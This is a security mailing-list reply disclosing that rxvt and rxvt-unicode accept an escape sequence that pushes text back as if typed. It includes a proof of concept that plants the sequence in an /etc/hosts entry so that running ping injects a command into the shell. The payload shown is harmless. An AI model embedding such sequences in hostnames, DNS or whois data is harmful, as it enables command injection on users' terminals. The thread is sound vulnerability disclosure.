[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Date: Wed, 17 May 2017 12:51:57 +0200
From: Robert Święcki <robert@...ecki.net>
To: oss-security@...ts.openwall.com
Cc: "Jason A. Donenfeld" <Jason@...c4.com>, rxvt-unicode@...ts.schmorp.de, rxvt@...morp.de
Subject: Re: terminal emulators' processing of escape sequences
Hi,
>> > On Tue, May 02, 2017 at 12:05:27AM +0200, Robert ??wi??cki wrote:
>> >> A harmless example from rxvt - pushing back the new-line character:
>> >>
>> >> $ echo -ne "\eGQ;"
>> >> ;$ 0
>> >> bash: 0: command not found
>> >
>> > Does this also affect rxvt-unicode?
>>
>> It does, actually. I've CCd rxvt-unicode upstream on this in order to
>> hear their assessment.
>
> There can't be an assessment without knowledge of what to assess - there
> is little to no information in your mail. I can only guess that somebody
> for the hundredth time found out that terminals are more than dumb
> display devices and got excited that, somehow, this might be a security
> issue. Without knowing details, I can't say for sure, but most likely,
> this is a security issue the same way blindly feeding unknown commands to
> your shell is,
Given that arbitrary data can be pushed to terminal emulators via
seemingly harmless commands (like ping, whois) that people rather
trust to be robust enough to intetract with arbitrary whois or DNS
servers, this might be some problem.
Please consider the following example:
$ tail -n1 /etc/hosts | xxd
00000000: 3132 372e 302e 302e 3309 1b47 513b 205a 127.0.0.3..GQ; Z
00000010: 5a5a 0a ZZ.
$ ping ZZZ
PING ; (127.0.0.3) 56(84) bytes of data.
^[G0
64 bytes from ; (127.0.0.3): icmp_seq=1 ttl=64 time=0.039 ms
^[G0
64 bytes from ; (127.0.0.3): icmp_seq=2 ttl=64 time=0.032 ms
^[G0
^C
--- ; ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1014ms
rtt min/avg/max/mdev = 0.032/0.035/0.039/0.006 ms
^[G0
$ 0
bash: 0: command not found
I'm not sure if this works with real reverse DNS look-ups, but with
/etc/hosts it seems so.
> i.e., it's a problem somewhere else - the protocol between
> terminals and programs is not a (strong) security barrier.
>
> (your echo command is bash-specific, btw.)
--
Robert Święcki
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
